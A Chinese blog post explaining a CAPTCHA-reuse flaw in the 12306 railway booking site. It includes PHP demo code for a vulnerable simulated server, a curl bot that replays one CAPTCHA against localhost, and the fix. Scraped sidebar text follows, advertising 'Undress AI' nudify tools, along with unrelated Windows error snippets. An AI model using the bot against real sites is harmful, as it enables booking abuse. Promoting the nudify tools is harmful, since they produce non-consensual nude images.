危险的验证码 –12306.cn曾经犯下的错误
春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。 用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证
春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。
用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证码验证通过之后没有马上更新, 所以下次请求继续使用这个验证码就行了。
上 Demo 喽:
----------------------------------------模拟12306-----------------------------------------------------------
<?php session_start(); if(!empty($_POST)) { $time = date('Y-m-d H:i:s'); if($_SESSION['vcode'] == $_POST['vcode']) { //购票程序 echo "[{$time}]验证码: " , $_POST['vcode'], ", 尝试买票!!"; } else { echo "[{$time}]验证码错误!!"; } } else { ?>
--------------------------------------------------模拟刷票----------------------------------------------------------------------------
<?php //Cookie文件, 保存SESSION_ID, 要确保提交和验证码在一个会话中 $cookie_jar = dirname(__FILE__).'/cookie.txt'; if(!empty($_GET['img'])) { $url = 'http://127.0.0.1/vcode.php'; $ch = curl_init($url); curl_setopt($ch,CURLOPT_COOKIEJAR, $cookie_jar);//把返回来的cookie信息保存在文件中 curl_exec($ch); curl_close($ch); exit(); } else { //把验证码抓下来 if(empty($_POST)) { $ch = curl_init(); $url = 'http://127.0.0.1/12306.php'; //这里是所要提交的页面,改成你需要的 $str = file_get_contents($url); $str = str_replace('vcode.php', '?img=1', $str); echo $str; } else { //刷票10次 for ($i =0; $i <10 ; ++$i) { $url = 'http://127.0.0.1/12306.php'; $ch = curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_COOKIEFILE, $cookie_jar);//把返回来的cookie信息保存在文件中 curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($_POST)); //设置请求的来源(referrer) $result = curl_exec($ch); echo $result, "<br>"; curl_close($ch); sleep(rand(1,3)); } } }
运行结果, 有图有真相:
只输入一次验证码, 就可以无限的刷票了!!!
解决的办法, 很简单: 在Session验证通过之后直接把 $_SESSION['vcode'] 干掉!!!
测试代码下载
声明: 本文采用 CC BY-NC-SA 3.0 协议进行授权
转载请注明来源:小景的博客
本文链接地址:http://www.phpv5.com/blog/vcod

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

如果您在使用印表機時遇到錯誤訊息,例如操作無法完成(錯誤0x00000771),可能是因為印表機已中斷連線。在這種情況下,您可以透過以下方法解決問題。在本文中,我們將討論如何在Windows11/10PC上修復此問題。整個錯誤訊息說:操作無法完成(錯誤0x0000771)。指定的印表機已被刪除。修正WindowsPC上的0x00000771印表機錯誤若要修復印表機錯誤操作無法完成(錯誤0x0000771),指定的印表機已在Windows11/10PC上刪除,請遵循下列解決方案:重新啟動列印假脫機

Windows沙盒是否終止,並顯示Windows沙盒無法啟動,錯誤0x80070005,拒絕存取訊息?一些用戶報告說,Windows沙盒無法開啟。如果您也遇到此錯誤,您可以按照本指南進行修復。 Windows沙盒啟動失敗-存取被拒絕如果Windows沙盒終止,並顯示Windows沙盒無法啟動,錯誤0x80070005,拒絕存取訊息,請確保您以管理員身分登入。此類錯誤通常是由於權限不足引起的。因此,請嘗試以管理員身份登入並查看是否解決問題。如果問題仍然存在,可以嘗試以下解決方案:以管理員身分執行Wi

解密HTTP狀態碼460:為什麼會出現這個錯誤?引言:在日常的網路使用中,常常會遇到各種各樣的錯誤提示,其中包括HTTP狀態碼。這些狀態碼是HTTP協定定義的一種機制,用來指示請求的處理。在這些狀態碼中,有一種比較罕見的錯誤碼,即460。本文將深入探討這個錯誤碼,並解釋為什麼會出現這個錯誤。 HTTP狀態碼460的定義:首先,我們要先了解HTTP狀態碼的基

目錄解決方法一解決方法二一、刪除Windows更新的臨時檔案二、修復受損的系統檔案三、檢視並修改登錄項目四、關閉網卡IPv6五、執行WindowsUpdateTroubleshootor工具進行修復六、關閉防火牆和其它相關的防毒軟體。七、關閉WidowsUpdate服務。解決方法三解決方法四華為電腦Windows更新出現「0x8024401c」報錯問題現象問題原因解決方案仍未解決?最近web伺服器因為系統漏洞需要更新,登入伺服器之後,更新提示錯誤碼0x8024401c解決方法一

我們通常會接收到政府或其他機構發送的PDF文件,有些文件有數位簽章。驗證簽名後,我們會看到SignatureValid訊息和一個綠色勾號。如果簽章未驗證,會顯示有效性未知。驗證簽名很重要,以下看看如何在PDF中進行驗證。如何在PDF中驗證簽名驗證PDF格式的簽名使其更可信,文件更容易被接受。您可以透過以下方式驗證PDF文件中的簽名。在AdobeReader中開啟PDF右鍵點選簽名,然後選擇顯示簽名屬性點選顯示簽署者憑證按鈕從「信任」標籤將簽名新增至「受信任的憑證」清單中點選驗證簽名以完成驗證讓

使用Hyper-V建立或啟動虛擬機器時,如果遇到錯誤代碼0x80070003,可能是因為權限問題、檔案損壞或設定錯誤造成的。解決方法包括檢查檔案權限、修復損壞檔案、確保正確配置等。可透過逐一排除不同可能性來解決此問題。整個錯誤訊息如下所示:伺服器在建立[虛擬機名]時遇到錯誤。無法建立新的虛擬機器。無法存取配置儲存:系統找不到指定的路徑。 (0x80070003)。導致此錯誤的一些可能原因包括:虛擬機器檔案已損壞。這可能是由於惡意軟體、病毒或廣告軟體攻擊而發生的。雖然發生這種情況的可能性很低,但你不能完

1.打開微信進入後,點選搜尋圖標,輸入微信團隊,點選下方的服務進入。 2、進入後,點選左下方的自助工具的選項。 3、點選後,在上方的選項內,點選解封/申訴輔助驗證的選項。

如果你在玩《決勝時刻:先鋒》時遇到了Kadena-Keesler錯誤,這篇文章可能會對你有所幫助。根據一些玩家的回饋,遊戲在WindowsPC、Xbox和PlayStation等平台上都存在這個問題。觸發後,您可能會收到以下錯誤訊息:連線失敗沒有網路連線失敗。您必須有活動的網路連線才能在線上或透過本地網路進行遊戲。 [原因:Kadena-Keesler]您也可能收到以下錯誤訊息:連線失敗無法存取線上服務。 [原因:Kadena-Keesler]此錯誤在Xbox上的另一個實例如下:您必須有活動的網路連接
